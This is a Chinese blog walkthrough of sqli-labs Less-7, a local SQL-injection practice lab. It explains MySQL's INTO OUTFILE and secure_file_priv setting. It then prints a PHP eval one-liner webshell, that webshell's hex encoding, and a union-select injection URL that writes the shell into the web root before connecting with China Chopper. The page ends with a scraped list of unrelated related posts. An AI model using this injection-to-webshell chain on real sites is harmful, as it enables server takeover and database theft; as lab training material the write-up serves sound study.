SQL注入漏洞解析--less-7

我们先看一下第七关

页面显示use outfile意思是利用文件上传来做

outfile是将检索到的数据,保存到服务器的文件内:

格式:select * into outfile "文件地址"

示例:

mysql> select * into outfile 'f:/mysql/test/one' from teacher_class;

secure_file_priv参数用于限制LOAD DATA, SELECT ...OUTFILE,

LOAD_FILE()传到哪个指定目录。secure_file_priv 为 'NULL' 时,表示限制mysqld不允许导入或导出。

secure_file_priv 为 '/tmp' 时,表示限制mysqld只能在/tmp目录中执行导入导出;

secure_file_priv '没有值'时,表示不限制mysqld在任意目录的导入导出

修改之后重启mysql,再查看一下,就是空值

当输入'时报错

通过url上传一句话木马,用webshell连接工具连接(这里我用的是中国菜刀)

1.123就是连接密码

php 复制代码
<?php @eval($_POST['123']);?>

2.3c3f70687020406576616c28245f504f53545b27313233275d293b3f3e是上边一句话木马的hex编码,into outfile指定在七关目录(目录写自己的)下创建2.php文件,文件内容就是刚上传的一句话木马

  1. 登录mysql查询secure_file_priv是否为空
  2. show global variables like 'secure%'; #查询secure_file_priv
  3. 当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出
  4. 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下
  5. 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
  6. http://127.0.0.1/sqli-labs-php7-master/Less-7/index.php?id=-1')) union select 1,0x3c3f70687020406576616c28245f504f53545b27313233275d293b3f3e,3 into outfile 'D:\phpstudy_x64_8.1.1.3\phpstudy_pro\WWW\sqli-labs-php7-master\Less-7\2.php'--+

3.用中国菜刀进行连接,测试连接成功

4.然后就可以访问数据库,从而获得信息

这道题其实出的挺鸡肋,你必须满足三个条件才能拿到他的数据库,第一就是必须拿到root权限;第二个就是 secure_file_priv这个必须不是NULL,这道题我这里是自己手动修改了,试想一下,如果你能修改权限了,还看不到里边的信息吗,或者你拿到root权限都不一定能修改的;第三个就是网站物理路径,这个想想办法还是有可能弄到。所以说这道题的条件还是很苛刻

相关推荐
奥莱维几秒前
KNX酒店方案_KNX专用线与高端酒店技术逻辑
java·服务器·前端·数据库
牛大兵9 分钟前
机顶盒获取局域网已经使用IP,开放的端口号,扫描摄像头,NAS,共享主机等开机自启局域网全量扫描工具
数据库·网络协议·tcp/ip
知行产研14 分钟前
中国矿山无人驾驶出海的三重门
数据库·mysql·php
l1258651 小时前
# RAG低延迟架构设计:从5秒到500ms的优化全链路
数据库·人工智能·python·langchain
RisunJan1 小时前
Linux命令-vgdisplay(显示卷组详细属性)
linux·运维·数据库
爱和冰阔落1 小时前
【MySQL 慢查询排查实战】列表接口逐渐变慢时,怎样从请求链路定位原因
android·数据库·mysql
JacksonMx1 小时前
企业级 JPA 与数据库架构落地指南
数据库·数据库架构
Dxy12393102161 小时前
MySQL有哪些锁?InnoDB锁体系完整梳理博客
数据库·mysql
wear工程师2 小时前
MySQL 索引条件下推是什么?Using index condition 并不是覆盖索引
sql·mysql
Wang's Blog2 小时前
PostgreSQL笔记38:慢查询定位与优化的系统方法论
数据库·笔记·postgresql